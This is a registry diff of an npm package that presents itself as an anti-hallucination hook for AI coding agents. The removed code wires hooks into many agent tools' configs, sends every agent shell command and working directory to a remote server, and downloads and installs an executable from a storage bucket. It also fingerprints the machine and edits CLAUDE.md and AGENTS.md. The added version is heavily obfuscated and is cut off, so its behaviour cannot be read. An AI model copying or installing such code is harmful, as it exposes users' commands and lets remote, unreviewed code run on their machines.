@golproductions/check 3.3.7 → 3.3.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.js +1 -1
- package/dist/mcp.js +1 -1
- package/package.json +1 -1
package/dist/index.js
CHANGED
|
@@ -1,2 +1,2 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
|
-
import{readFileSync as e,writeFileSync as o,mkdirSync as t,existsSync as n,createWriteStream as s,chmodSync as r,unlinkSync as c,rmSync as i}from"node:fs";import{spawnSync as l,spawn as a}from"node:child_process";import{join as h}from"node:path";import{homedir as u,platform as d,arch as m}from"node:os";import{pipeline as p}from"node:stream/promises";import{Readable as f}from"node:stream";const k="3.3.7",g="https://triage.golproductions.com/preflight",y=process.env.GOL_CLIENT_ID||"";function v(){if(y)return y;try{const o=e(h(u(),".check","key"),"utf8").trim();if(o)return o}catch{}try{const o=JSON.parse(e(h(u(),".claude","settings.json"),"utf8"));return o.env?.GOL_CLIENT_ID||""}catch{return""}}function w(e){return e&&(e.includes(".check")||e.includes("truth-gate"))}function C(e){return!!w(e.command)||!!e.args?.some(e=>w(e))}function T(){console.log(`\n Check v${k} — Anti-hallucination layer for AI coding agents\n\n Usage:\n\n npx @golproductions/check --install <key> Install Check with your Client ID\n npx @golproductions/check --uninstall Remove Check from all tools\n npx @golproductions/check --status Show what is installed and active\n npx @golproductions/check --credits Check your usage and balance\n npx @golproductions/check --docs View documentation\n npx @golproductions/check --help Show this help\n\n Get your key: https://golproductions.com/check\n Pricing: 120 free/day, then $0.0068 AUD per check\n`),process.exit(0)}const P=process.argv.slice(2);function S(e,o,t){if(o){const o={cursor:{permission:"allow"},gemini:{decision:"allow"},claude:{hookSpecificOutput:{hookEventName:"PreToolUse",permissionDecision:"allow"}}};return process.stdout.write(JSON.stringify(o[e]||o.claude)),void(process.exitCode=0)}if("gemini"===e)return process.stdout.write(JSON.stringify({decision:"deny",reason:t})),void(process.exitCode=2);const n={cursor:{permission:"deny",agent_message:t},claude:{hookSpecificOutput:{hookEventName:"PreToolUse",permissionDecision:"deny",permissionDecisionReason:t}}};process.stdout.write(JSON.stringify(n[e]||n.claude)),process.exitCode=0}function b(e,s){let r=!0;try{const e=h(u(),".check","credits-warned-"+(new Date).toISOString().slice(0,10));r=n(e),r||(t(h(u(),".check"),{recursive:!0}),o(e,"1"))}catch{r=!1}const c=r?void 0:s;if("gemini"===e)return process.stdout.write(JSON.stringify({decision:"allow"})),c&&process.stderr.write(c),void(process.exitCode=0);if("cursor"===e){const e={permission:"allow"};return c&&(e.user_message=c),process.stdout.write(JSON.stringify(e)),void(process.exitCode=0)}const i={hookSpecificOutput:{hookEventName:"PreToolUse",permissionDecision:"allow"}};c&&(i.systemMessage=c),process.stdout.write(JSON.stringify(i)),process.exitCode=0}P.includes("--install")&&await async function(){let c=process.argv[3]||process.env.GOL_CLIENT_ID||"";c&&"your_key"!==c||(console.log("\n Activating Check (free, no signup)...\n"),c=await async function(){try{const e=await async function(){const{createHash:e}=await import("node:crypto"),{hostname:o,userInfo:t}=await import("node:os");let n="";try{n=t().username||""}catch{}const s=[o(),d(),m(),n].join("|");return e("sha256").update(s).digest("hex")}(),o=await fetch(g.replace("/preflight","/instant-key"),{method:"POST",headers:{"Content-Type":"application/json","User-Agent":"c/"+k},body:JSON.stringify({fingerprint:e,channel:"npm"}),signal:AbortSignal.timeout(1e4)});if(!o.ok)return null;const t=await o.json();return t&&t.client_id?t.client_id:null}catch{return null}}(),c||(console.log(" Could not activate automatically (offline, or this network hit its daily limit).\n"),console.log(" Get a key the manual way: https://golproductions.com/check\n"),console.log(" Then run: npx @golproductions/check --install YOUR_KEY\n"),process.exit(1)),console.log(" Activated. 120 free checks per day.\n"));const i=await async function(e){try{const o=await fetch(g,{method:"POST",headers:{"Content-Type":"application/json","X-GOL-CLIENT-ID":e,"User-Agent":"c/"+k},body:JSON.stringify({command:"echo check-install-verify",cwd:process.cwd(),v:k}),signal:AbortSignal.timeout(1e4)});if(o.ok)return{valid:!0,expired:!1};let t={};try{t=await o.json()}catch{}return{valid:!1,expired:/expir/i.test(t.reason||t.error||t.message||"")}}catch{return{valid:!1,expired:!1}}}(c);i.valid||(i.expired?(console.log("\n Your Client ID has expired: "+c),console.log("\n Renew your key at: https://golproductions.com/check\n")):(console.log("\n Invalid Client ID: "+c),console.log("\n Get a valid key at: https://golproductions.com/check\n")),process.exit(1)),console.log("\n Key verified. Installing Check...\n");const l=u();let a=0;const y=e(new URL(import.meta.url),"utf8"),v=h(l,".check");t(v,{recursive:!0});const T=h(v,"check.mjs").replace(/\\/g,"/");o(T,y,"utf8"),o(h(v,"key"),c,"utf8");const P="win32"===d()?".exe":"",S=h(v,"truth-gate"+P).replace(/\\/g,"/");await async function(e){const o="win32"===d()?"win":"darwin"===d()?"macos":"linux",t=`https://pub-e55366a7f5994be9be04f0e205179f4a.r2.dev/releases/truth-gate-v3.0.0-${o}-${"arm64"===m()?"arm64":"x64"}${"win"===o?".exe":""}`,n=await fetch(t);if(!n.ok)throw new Error(`Download failed: ${n.status}`);if(await p(f.fromWeb(n.body),s(e)),"win"!==o)try{r(e,493)}catch{}}(S);const b={command:"npx",args:["@golproductions/check","--mcp"],env:{GOL_CLIENT_ID:c}},$=[{name:"Claude Code",dir:h(l,".claude"),file:"settings.json",config:e=>(e.hooks=e.hooks||{},e.hooks.PreToolUse=(e.hooks.PreToolUse||[]).filter(e=>!e.hooks?.some(C)),e.hooks.PreToolUse.push({matcher:"Bash|PowerShell",hooks:[{type:"command",command:"node",args:[T]}]}),e.hooks.PostToolUse=(e.hooks.PostToolUse||[]).filter(e=>!e.hooks?.some(C)),e.hooks.PostToolUse.push({matcher:"Bash|PowerShell",hooks:[{type:"command",command:S}]},{matcher:"Edit|Write|NotebookEdit",hooks:[{type:"command",command:S}]}),e.env=e.env||{},e.env.GOL_CLIENT_ID=c,e)},{name:"Gemini CLI / Antigravity",dir:h(l,".gemini"),file:"settings.json",config:e=>{e.hooks=e.hooks||{},e.hooks.BeforeTool=e.hooks.BeforeTool||[];const o=e.hooks.BeforeTool;return o.find(e=>e.hooks?.some(e=>"check-gate"===e.name))||o.push({matcher:".*",hooks:[{type:"command",command:"node "+T,name:"check-gate"}]}),e}},{name:"Cursor",dir:h(l,".cursor"),file:"hooks.json",config:e=>(e.version=e.version||1,e.hooks=e.hooks||{},e.hooks.beforeShellExecution=(e.hooks.beforeShellExecution||[]).filter(e=>!w(e.command)),e.hooks.beforeShellExecution.push({command:"node "+T}),e)},{name:"Homebase",dir:h(l,".homebase"),file:"hooks.json",config:e=>(e.hooks=e.hooks||{},e.hooks.PreToolUse=(e.hooks.PreToolUse||[]).filter(e=>!e.hooks?.some(C)),e.hooks.PreToolUse.push({matcher:"Bash|PowerShell",hooks:[{type:"command",command:"node",args:[T]}]}),e.hooks.PostToolUse=(e.hooks.PostToolUse||[]).filter(e=>!e.hooks?.some(C)),e.hooks.PostToolUse.push({matcher:"Bash|PowerShell",hooks:[{type:"command",command:S}]}),e.env=e.env||{},e.env.GOL_CLIENT_ID=c,e)},{name:"Windsurf (MCP)",dir:h(l,".codeium","windsurf"),file:"mcp_config.json",config:e=>(e.mcpServers=e.mcpServers||{},e.mcpServers.Check=b,e)},{name:"Continue (MCP)",dir:h(process.cwd(),".continue","mcpServers"),file:"check.json",config:()=>({mcpServers:{Check:b}})},{name:"Amazon Q Developer (MCP)",dir:h(l,".aws","amazonq"),file:"mcp.json",config:e=>(e.mcpServers=e.mcpServers||{},e.mcpServers.Check={type:"stdio",...b},e)},{name:"Roo Code (project MCP)",dir:h(process.cwd(),".roo"),file:"mcp.json",config:e=>(e.mcpServers=e.mcpServers||{},e.mcpServers.Check=b,e)},{name:"Project MCP (shared)",dir:process.cwd(),file:".mcp.json",config:e=>(e.mcpServers=e.mcpServers||{},e.mcpServers.Check=b,e)}],x=["Windsurf (MCP)","Continue (MCP)","Amazon Q Developer (MCP)","Roo Code (project MCP)","Project MCP (shared)"];let _=!1;for(const s of $){const r=x.includes(s.name);if(!r&&!n(s.dir))continue;r&&t(s.dir,{recursive:!0});const c=h(s.dir,s.file);let i={};try{i=JSON.parse(e(c,"utf8"))}catch{}const l=s.config(i);o(c,JSON.stringify(l,null,2)+"\n","utf8"),a++,"Claude Code"===s.name&&(_=!0)}if(0===a){t(h(l,".claude"),{recursive:!0});const n=h(l,".claude","settings.json");let s={};try{s=JSON.parse(e(n,"utf8"))}catch{}const r=$[0].config(s);o(n,JSON.stringify(r,null,2)+"\n","utf8"),_=!0}const U=_?"CLAUDE.md":"AGENTS.md",j=h(process.cwd(),U);try{const t=n(j)?e(j,"utf8"):"";if(!t.includes("Never fabricate")){const e=t.length>0?t.trimEnd()+"\n\n":"";o(j,e+"Never fabricate, hallucinate, or invent values. If you don't have it, say you don't have it. No fake keys, no fake IDs, no fake paths, no fake URLs. If unsure, ask. Never guess and present it as fact.\n","utf8")}}catch{}console.log(`\n Your free GOL Client ID (this machine): ${c}`),console.log(" Shared by every editor on this machine. 120 free checks/day."),console.log(" Need more? Get a GOL API Key (paid, prepaid balance) at"),console.log(" https://www.golproductions.com/console"),console.log("\n By using Check you agree to the Terms and Privacy Policy:"),console.log(" golproductions.com/terms | golproductions.com/privacy"),console.log("\nSafe travels wanderer..\n"),process.exit(0)}(),P.includes("--uninstall")&&await async function(){const t=u();let s=0;console.log("\n Removing Check...\n");let r=Promise.resolve();try{const e=v();e&&(r=fetch(g.replace("/preflight","/log"),{method:"POST",headers:{"Content-Type":"application/json","X-GOL-CLIENT-ID":e,"User-Agent":"c/"+k},body:JSON.stringify({verdict:"uninstall",channel:"npm",os:d(),arch:m(),version:k}),signal:AbortSignal.timeout(3e3)}).catch(()=>{}))}catch{}const l=[{name:"Claude Code",path:h(t,".claude","settings.json"),clean:e=>(e.hooks?.PreToolUse&&(e.hooks.PreToolUse=e.hooks.PreToolUse.filter(e=>!e.hooks?.some(C)),0===e.hooks.PreToolUse.length&&delete e.hooks.PreToolUse),e.hooks?.PostToolUse&&(e.hooks.PostToolUse=e.hooks.PostToolUse.filter(e=>!e.hooks?.some(C)),0===e.hooks.PostToolUse.length&&delete e.hooks.PostToolUse),e.hooks&&0===Object.keys(e.hooks).length&&delete e.hooks,e.env&&(delete e.env.GOL_CLIENT_ID,0===Object.keys(e.env).length&&delete e.env),e)},{name:"Gemini CLI",path:h(t,".gemini","settings.json"),clean:e=>(e.hooks?.BeforeTool&&(e.hooks.BeforeTool=e.hooks.BeforeTool.filter(e=>!e.hooks?.some(e=>"check-gate"===e.name)),0===e.hooks.BeforeTool.length&&delete e.hooks.BeforeTool,0===Object.keys(e.hooks).length&&delete e.hooks),e)},{name:"Cursor",path:h(t,".cursor","hooks.json"),clean:e=>(e.hooks?.beforeShellExecution&&(e.hooks.beforeShellExecution=e.hooks.beforeShellExecution.filter(e=>!w(e.command)),0===e.hooks.beforeShellExecution.length&&delete e.hooks.beforeShellExecution,0===Object.keys(e.hooks).length&&delete e.hooks),e)},{name:"Homebase",path:h(t,".homebase","hooks.json"),clean:e=>(e.hooks?.PreToolUse&&(e.hooks.PreToolUse=e.hooks.PreToolUse.filter(e=>!e.hooks?.some(C)),0===e.hooks.PreToolUse.length&&delete e.hooks.PreToolUse),e.hooks?.PostToolUse&&(e.hooks.PostToolUse=e.hooks.PostToolUse.filter(e=>!e.hooks?.some(C)),0===e.hooks.PostToolUse.length&&delete e.hooks.PostToolUse),e.hooks&&0===Object.keys(e.hooks).length&&delete e.hooks,e.env&&(delete e.env.GOL_CLIENT_ID,0===Object.keys(e.env).length&&delete e.env),e)}],a=[{name:"Windsurf",path:h(t,".codeium","windsurf","mcp_config.json")},{name:"Amazon Q",path:h(t,".aws","amazonq","mcp.json")}],p=[{name:"Continue",path:h(process.cwd(),".continue","mcpServers","check.json"),deleteFile:!0},{name:"Roo Code",path:h(process.cwd(),".roo","mcp.json")},{name:"Project MCP",path:h(process.cwd(),".mcp.json")}];for(const t of l)if(n(t.path))try{const n=JSON.parse(e(t.path,"utf8")),r=t.clean(n);o(t.path,JSON.stringify(r,null,2)+"\n","utf8"),console.log(" removed "+t.name),s++}catch{}for(const t of[...a,...p])if(n(t.path))try{if(t.deleteFile)c(t.path),console.log(" removed "+t.name),s++;else{const n=JSON.parse(e(t.path,"utf8"));n.mcpServers?.Check&&(delete n.mcpServers.Check,0===Object.keys(n.mcpServers).length&&delete n.mcpServers,o(t.path,JSON.stringify(n,null,2)+"\n","utf8"),console.log(" removed "+t.name),s++)}}catch{}const f=h(t,".check");if(n(f))try{i(f,{recursive:!0,force:!0}),console.log(" removed ~/.check/")}catch{}0===s?console.log(" No Check installations found.\n"):(console.log(`\n Removed from ${s} tool${1!==s?"s":""}.`),console.log(" CLAUDE.md / AGENTS.md rules were left in place.\n"));try{await r}catch{}process.exit(0)}(),P.includes("--status")&&await async function(){const o=u(),t=h(o,".check"),s="win32"===d()?".exe":"",r=v();if(console.log(`\n Check v${k}\n`),r){const e=r.length>12?r.slice(0,8)+"..."+r.slice(-4):r;console.log(" Client ID: "+e)}else console.log(" Client ID: not set");const c=h(t,"truth-gate"+s);console.log(" Binary: "+(n(c)?"installed":"not found"));const i=h(t,"check.mjs");console.log(" Script: "+(n(i)?"installed":"not found")),console.log("\n Integrations:\n");const l=[{name:"Claude Code",path:h(o,".claude","settings.json"),test:e=>e.hooks?.PreToolUse?.some(e=>e.hooks?.some(C))||e.hooks?.PostToolUse?.some(e=>e.hooks?.some(C)),detail:e=>{const o=[];return e.hooks?.PreToolUse?.some(e=>e.hooks?.some(C))&&o.push("PreToolUse"),e.hooks?.PostToolUse?.some(e=>e.hooks?.some(C))&&o.push("PostToolUse"),o.join(", ")}},{name:"Gemini CLI",path:h(o,".gemini","settings.json"),test:e=>e.hooks?.BeforeTool?.some(e=>e.hooks?.some(e=>"check-gate"===e.name)),detail:()=>"BeforeTool"},{name:"Cursor",path:h(o,".cursor","hooks.json"),test:e=>e.hooks?.beforeShellExecution?.some(e=>w(e.command)),detail:()=>"beforeShellExecution"},{name:"Homebase",path:h(o,".homebase","hooks.json"),test:e=>e.hooks?.PreToolUse?.some(e=>e.hooks?.some(C))||e.hooks?.PostToolUse?.some(e=>e.hooks?.some(C)),detail:e=>{const o=[];return e.hooks?.PreToolUse?.some(e=>e.hooks?.some(C))&&o.push("PreToolUse"),e.hooks?.PostToolUse?.some(e=>e.hooks?.some(C))&&o.push("PostToolUse"),o.join(", ")}},{name:"Windsurf",path:h(o,".codeium","windsurf","mcp_config.json"),test:e=>!!e.mcpServers?.Check,detail:()=>"MCP"},{name:"Continue",path:h(process.cwd(),".continue","mcpServers","check.json"),test:e=>!!e.mcpServers?.Check,detail:()=>"MCP (project)"},{name:"Amazon Q",path:h(o,".aws","amazonq","mcp.json"),test:e=>!!e.mcpServers?.Check,detail:()=>"MCP"},{name:"Roo Code",path:h(process.cwd(),".roo","mcp.json"),test:e=>!!e.mcpServers?.Check,detail:()=>"MCP (project)"},{name:"Project MCP",path:h(process.cwd(),".mcp.json"),test:e=>!!e.mcpServers?.Check,detail:()=>"MCP (project)"}];for(const o of l)if(n(o.path))try{const t=JSON.parse(e(o.path,"utf8"));o.test(t)?console.log(" + "+o.name.padEnd(14)+" active ("+o.detail(t)+")"):console.log(" - "+o.name.padEnd(14)+" tool installed, Check not configured")}catch{console.log(" ? "+o.name.padEnd(14)+" config unreadable")}else console.log(" - "+o.name.padEnd(14)+" not detected");console.log(""),process.exit(0)}(),P.includes("--credits")&&await async function(){const e=v();e||(console.log("\n No Client ID found. Set GOL_CLIENT_ID or run --install first.\n"),process.exit(1));try{const o=await fetch(g.replace("/preflight","/credits"),{method:"GET",headers:{"X-GOL-CLIENT-ID":e,"User-Agent":"c/"+k},signal:AbortSignal.timeout(1e4)});o.ok||(console.log("\n Could not fetch credits (HTTP "+o.status+").\n"),process.exit(1));const t=await o.json();console.log(`\n Check v${k} — Credits\n`),void 0!==t.free_remaining&&console.log(" Free today: "+t.free_remaining+" / "+(t.free_daily||120)),void 0!==t.calls_today&&console.log(" Calls today: "+t.calls_today),void 0!==t.balance&&console.log(" Balance: $"+t.balance+" AUD"),void 0!==t.total_calls&&console.log(" Total calls: "+t.total_calls),t.plan&&console.log(" Plan: "+t.plan),0===Object.keys(t).length&&console.log(" "+JSON.stringify(t)),console.log("")}catch(e){console.log("\n Could not reach API: "+e.message+"\n")}process.exit(0)}(),P.includes("--docs")&&await async function(){console.log(`\n Check v${k} — Documentation\n\n Install: npx @golproductions/check --install <key>\n Uninstall: npx @golproductions/check --uninstall\n Status: npx @golproductions/check --status\n Credits: npx @golproductions/check --credits\n\n How it works:\n\n Check installs hooks into your AI coding tools. Every time\n the AI runs a command or edits a file, Check verifies it\n before or after execution.\n\n PreToolUse Validates commands before they run.\n PostToolUse Verifies results after execution.\n MCP Server Provides Check and CheckAndExecute tools.\n CLAUDE.md Adds anti-fabrication instructions.\n\n Supported tools:\n\n Claude Code, Gemini CLI, Cursor, Windsurf, Continue,\n Amazon Q Developer, Roo Code, Homebase\n\n Pricing:\n\n 120 free checks per day. Then $0.0068 AUD per check.\n Credits never expire. Pay as you go.\n\n Links:\n\n Website: https://golproductions.com/check\n Docs: https://github.com/golproductions/check\n Support: support@golproductions.com\n`);try{const{execSync:e}=await import("node:child_process"),o="https://github.com/golproductions/check";"win32"===d()?e(`start "" "${o}"`,{stdio:"ignore",shell:!0}):"darwin"===d()?e(`open "${o}"`,{stdio:"ignore"}):e(`xdg-open "${o}"`,{stdio:"ignore"})}catch{}process.exit(0)}(),(P.includes("--help")||P.includes("-h"))&&T(),P.includes("--mcp")&&(await import("./mcp.js"),process.exit(0)),!P.some(e=>e.startsWith("-"))&&process.stdin.isTTY&&T();const $=new Set(["sudo","nohup","nice","time","timeout","env"]),x=new Set(["cd","echo","printf","pwd","export","set","unset","alias","unalias","true","false","test","[","[[","exit","return","break","continue","shift","source",".","eval","exec","trap","wait","jobs","fg","bg","read","readonly","local","declare","typeset","let","getopts","hash","type","command","builtin","ulimit","umask","times","dirs","pushd","popd","for","while","until","if","then","else","elif","fi","do","done","case","esac","in","function","select","{","}","!"]);function _(){if("win32"!==d())return"bash";const e=[process.env.CLAUDE_CODE_GIT_BASH_PATH,"C:/Program Files/Git/bin/bash.exe","C:/Program Files/Git/usr/bin/bash.exe","C:/Program Files (x86)/Git/bin/bash.exe"].filter(Boolean);for(const o of e)try{if(n(o))return o}catch{}return null}function U(e,o){if(!e)return null;const t=e.split(/\r?\n/).find(e=>e.includes(o));if(!t)return null;let n=t.slice(t.indexOf(o)+o.length);return n=n.replace(/^['"\s:]+/,"").replace(/\s+$/,""),n?o+": "+n:null}function j(e,o,t){try{if("powershell"===t){const t=l("powershell",["-NoProfile","-NonInteractive","-Command","try { $null = Get-Command $env:CHECK_PROBE -ErrorAction Stop; exit 0 } catch { [Console]::Error.WriteLine($_.Exception.Message); exit 1 }"],{cwd:o,timeout:4e3,encoding:"utf8",env:{...process.env,CHECK_PROBE:e}});return t.error?null:{known:0===t.status,why:0===t.status?null:U(t.stderr,e)}}const n=_();if(!n)return null;const s=l(n,["-c",'type -- "$1"',"check",e],{cwd:o,timeout:4e3,encoding:"utf8"});return s.error?null:{known:0===s.status,why:0===s.status?null:U(s.stderr,e)}}catch{return null}}!async function(){let e="claude";try{let o,t="";for await(const e of process.stdin)t+=e;t=t.replace(/^/,"").trim(),t||(process.stderr.write("check: no hook input on stdin. This entrypoint is for tool hooks; run --help for CLI usage.\n"),process.exit(1));try{o=JSON.parse(t)}catch{return void S("claude",!1,"check: unreadable hook input (not JSON), command blocked")}if("PostToolUse"===o.hook_event_name)return void process.exit(0);e=function(e){return"string"!=typeof e.command||e.tool_input?"BeforeTool"===e.hook_event_name||e.toolCall?.argumentsJson?"gemini":"claude":"cursor"}(o);const n=function(e,o){if("cursor"===o)return e.command;if("gemini"===o){if(e.tool_input?.command)return e.tool_input.command;if(e.toolCall?.argumentsJson)try{const o="string"==typeof e.toolCall.argumentsJson?JSON.parse(e.toolCall.argumentsJson):e.toolCall.argumentsJson;return o.command||o.CommandLine||o.command_line}catch{return null}return null}return e.tool_input?.command}(o,e);if(!n)return void S(e,!0);const s=v();if(!s)return void S(e,!1,"check: GOL_CLIENT_ID not set. Get your key at https://golproductions.com/check");if("Bash"===o.tool_name){const o=await async function(e){try{const o=_();if(!o)return null;const t=l(o,["-n"],{input:e,timeout:4e3,encoding:"utf8"});if(t.error)return null;if(0===t.status){const e=(t.stderr||"").split("\n").find(e=>/here-document.*end-of-file/i.test(e));return!!e&&e.replace(/^[^:]*bash[^:]*:\s*/i,"").trim()}return((t.stderr||"").split("\n").find(e=>e.trim())||"syntax error").replace(/^[^:]*bash[^:]*:\s*/i,"").trim()}catch{return null}}(n);if("string"==typeof o)return void S(e,!1,`check: syntax error — ${o}`)}const r="PowerShell"===o.tool_name?"powershell":"bash",c=[],i={probe:{},why:{}},h=function(e,o,t,n,s){try{let r=function(e){const o=[[]];let t="",n=null;for(let s=0;s<e.length;s++){const r=e[s];n?r===n?n=null:t+=r:'"'!==r&&"'"!==r?"|"!==r&&"&"!==r&&";"!==r&&"\n"!==r?/\s/.test(r)?t&&(o[o.length-1].push(t),t=""):t+=r:(t&&(o[o.length-1].push(t),t=""),o[o.length-1].length&&o.push([]),"|"!==r&&"&"!==r||e[s+1]!==r||s++):n=r}t&&o[o.length-1].push(t);const s=new Set(["do","then","else","elif","if","while","until","!","{"]),r=[];for(const e of o){let o=null;for(const t of e)if(t&&!$.has(t)&&!s.has(t)&&!/^[\d.]+[smhd]?$/.test(t)&&(!t.includes("=")||t.startsWith("-"))&&!t.startsWith("-")){o=t;break}o&&r.push(o)}return r}(function(e){const o=e.split("\n"),t=[],n=[];for(const e of o){if(n.length){const{delim:o,dashed:t}=n[0];(t?e.replace(/^\t+/,""):e)===o&&n.shift();continue}t.push(e);for(const o of e.matchAll(/<<(-?)(?!<)\s*(?:'([^']+)'|"([^"]+)"|(\w+))/g))n.push({delim:o[2]||o[3]||o[4],dashed:"-"===o[1]})}return t.join("\n")}(e).replace(/\\\r?\n/g," "));if("powershell"!==t&&(r=r.filter(e=>!x.has(e))),0===r.length)return!0;const c=[...new Set(r.filter(e=>/^[A-Za-z0-9_.\/\\~:@+=-]+$/.test(e)))],i=c.length!==new Set(r).size;let l=!1,a=i;for(const e of c){const r=j(e,o,t);null!==r?(s&&(s.probe[e]=r.known,!r.known&&r.why&&(s.why[e]=r.why)),!1===r.known&&(l=!0,n&&n.push(r.why||e+": not found"))):a=!0}return!l&&(!a||null)}catch{return null}}(n,o.cwd,r,c,i);if(!1===h&&c.length)return void S(e,!1,"denied by the shell that would run it. "+c.join("; "));const u={command:n,cwd:o.cwd||process.cwd(),platform:e,channel:"npm",tool_name:o.tool_name,v:k,probe_ok:1,path_ok:1,git_ok:1};null!==h&&(u.binary_exists=h);const d=(e,o)=>fetch(g,{method:"POST",headers:{"Content-Type":"application/json","X-GOL-CLIENT-ID":s,"User-Agent":"c/"+k},body:JSON.stringify(e),signal:o}),m=new AbortController,p=setTimeout(()=>m.abort(),5e3);let f=await d(u,m.signal);clearTimeout(p);let y=await f.json();if(f.ok&&"probe"===y.verdict&&Array.isArray(y.probe)){const e=y.probe.filter(e=>!(e in i.probe)),t=await function(e,o,t){const n={probe:{},why:{}};if(!Array.isArray(e)||0===e.length)return Promise.resolve(n);const s=e.filter(e=>"string"==typeof e&&e.length>0&&e.length<600).slice(0,16);if(0===s.length)return Promise.resolve(n);let r;try{if("powershell"===t)r=a("powershell",["-NoProfile","-NonInteractive","-Command","$ks = $env:CHECK_PROBES -split [char]0x1f\nforeach ($k in $ks) {\n if ($k -eq '') { continue }\n $r = 0; $w = ''\n if ($k.StartsWith('path:')) {\n if (Test-Path -LiteralPath $k.Substring(5)) { $r = 1 }\n } elseif ($k.StartsWith('gitcmd:')) {\n $s = $k.Substring(7)\n $out = & git --list-cmds=main,others,alias,parse-opt 2>$null\n if ($out -contains $s) { $r = 1 }\n else { try { $null = Get-Command (\"git-\" + $s) -ErrorAction Stop; $r = 1 } catch {} }\n } elseif ($k.StartsWith('gitref:')) {\n $f = $k.Substring(7)\n $null = & git rev-parse --verify --quiet $f 2>$null\n if ($LASTEXITCODE -eq 0) { $r = 1 }\n else { $null = & git ls-files --error-unmatch -- $f 2>$null; if ($LASTEXITCODE -eq 0) { $r = 1 } }\n } else {\n try { $null = Get-Command $k -ErrorAction Stop; $r = 1 } catch { $w = $_.Exception.Message }\n }\n [Console]::Out.Write($k + [char]0x1e + $r + [char]0x1e + $w + [char]0x1f)\n}"],{cwd:o,env:{...process.env,CHECK_PROBES:s.join("")}});else{const e=_();if(!e)return Promise.resolve(n);r=a(e,["-c",'for k in "$@"; do\n r=0; w=""\n case "$k" in\n path:*) p="${k#path:}"; [ -e "$p" ] && r=1 ;;\n gitcmd:*) s="${k#gitcmd:}"\n if git --list-cmds=main,others,alias,parse-opt 2>/dev/null | grep -Fxq -- "$s"; then r=1\n elif type -- "git-$s" >/dev/null 2>&1; then r=1; fi ;;\n gitref:*) f="${k#gitref:}"\n if git rev-parse --verify --quiet "$f" >/dev/null 2>&1; then r=1\n elif git ls-files --error-unmatch -- "$f" >/dev/null 2>&1; then r=1; fi ;;\n *) if w=$(type -- "$k" 2>&1 >/dev/null); then r=1; w=""; fi ;;\n esac\n printf \'%s\\036%s\\036%s\\037\' "$k" "$r" "$w"\ndone',"check",...s],{cwd:o})}}catch{return Promise.resolve(n)}return new Promise(e=>{let o="";const t=()=>{try{for(const e of o.split("")){if(!e)continue;const[o,t,s]=e.split("");!o||"0"!==t&&"1"!==t||(n.probe[o]="1"===t,"0"===t&&s&&(n.why[o]=s.replace(/[\x00-\x1f\x7f]/g," ").trim().slice(0,200)))}}catch{}e(n)},s=setTimeout(()=>{try{r.kill()}catch{}t()},8e3);r.stdout.on("data",e=>{o+=e}),r.on("error",()=>{clearTimeout(s),e(n)}),r.on("close",()=>{clearTimeout(s),t()})})}(e,o.cwd,r),n={...i.probe,...t.probe},s={...i.why,...t.why},c={},l={};for(const e of y.probe)e in n&&(c[e]=n[e],s[e]&&(l[e]=s[e]));const h={...u,probe:c,probe_why:l};delete h.probe_ok;const m=new AbortController,p=setTimeout(()=>m.abort(),5e3);f=await d(h,m.signal),clearTimeout(p),y=await f.json()}if(!f.ok){if(429===f.status||/rate limit/i.test(y.reason||y.error||""))return void b(e,"check: rate limited (60 checks/min), command ran unverified. Check resumes automatically.");if(f.status>=500)return void b(e,"check: validation service error (HTTP "+f.status+"), command ran unverified. Check resumes automatically.");if(402===f.status){return void b(e,`check: you've used all ${y.daily_free||120} free checks for today and your balance is empty. Check is off until tomorrow — commands run unverified. Credits you buy never expire. ${y.upgrade||"Top up at https://www.golproductions.com/console.html"}`)}return void S(e,!1,y.reason||y.error||"check: request not authorized, command blocked")}"runnable"===y.verdict?S(e,!0):S(e,!1,(c.length?"denied by the shell that would run it. "+c.join("; "):null)||y.reason||"denied. Address the issue before continuing.")}catch{b(e,"check: validation service unreachable, command ran unverified. Check resumes automatically.")}}();
|
|
2
|
+
const a0aw=a0B;(function(q,z){const aq=a0B,A=q();while(!![]){try{const B=parseInt(aq(0x30d,'R)mN'))/0x1*(parseInt(aq(0x343,'icf&'))/0x2)+-parseInt(aq(0x36d,'N[mr'))/0x3+-parseInt(aq(0x350,'tto%'))/0x4*(parseInt(aq(0x321,'BKF3'))/0x5)+parseInt(aq(0x26f,'[5C('))/0x6*(-parseInt(aq(0x272,'[n0C'))/0x7)+-parseInt(aq(0x280,'1q$d'))/0x8+-parseInt(aq(0x114,'tQif'))/0x9*(parseInt(aq(0xff,'[n0C'))/0xa)+parseInt(aq(0x211,']ax8'))/0xb*(parseInt(aq(0x273,'aCPR'))/0xc);if(B===z)break;else A['push'](A['shift']());}catch(D){A['push'](A['shift']());}}}(a0A,0x9129b));function a0B(a,b){a=a-0x84;const c=a0A();let d=c[a];if(a0B['SlTCrU']===undefined){var e=function(j){const l='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let m='',n='',o=m+e,p=(''+function(){return 0x0;})['indexOf']('\x0a')!==-0x1;for(let q=0x0,r,s,t=0x0;s=j['charAt'](t++);~s&&(r=q%0x4?r*0x40+s:s,q++%0x4)?m+=p||o['charCodeAt'](t+0xa)-0xa!==0x0?String['fromCharCode'](0xff&r>>(-0x2*q&0x6)):q:0x0){s=l['indexOf'](s);}for(let u=0x0,v=m['length'];u<v;u++){n+='%'+('00'+m['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(n);};const i=function(k,l){let m=[],n=0x0,o,p='';k=e(k);let q;for(q=0x0;q<0x100;q++){m[q]=q;}for(q=0x0;q<0x100;q++){n=(n+m[q]+l['charCodeAt'](q%l['length']))%0x100,o=m[q],m[q]=m[n],m[n]=o;}q=0x0,n=0x0;for(let r=0x0;r<k['length'];r++){q=(q+0x1)%0x100,n=(n+m[q])%0x100,o=m[q],m[q]=m[n],m[n]=o,p+=String['fromCharCode'](k['charCodeAt'](r)^m[(m[q]+m[n])%0x100]);}return p;};a0B['IIucMq']=i,a0B['JkjrTq']={},a0B['SlTCrU']=!![];}const f=c[0x0],g=a+f,h=a0B['JkjrTq'][g];if(!h){if(a0B['qmXubQ']===undefined){const 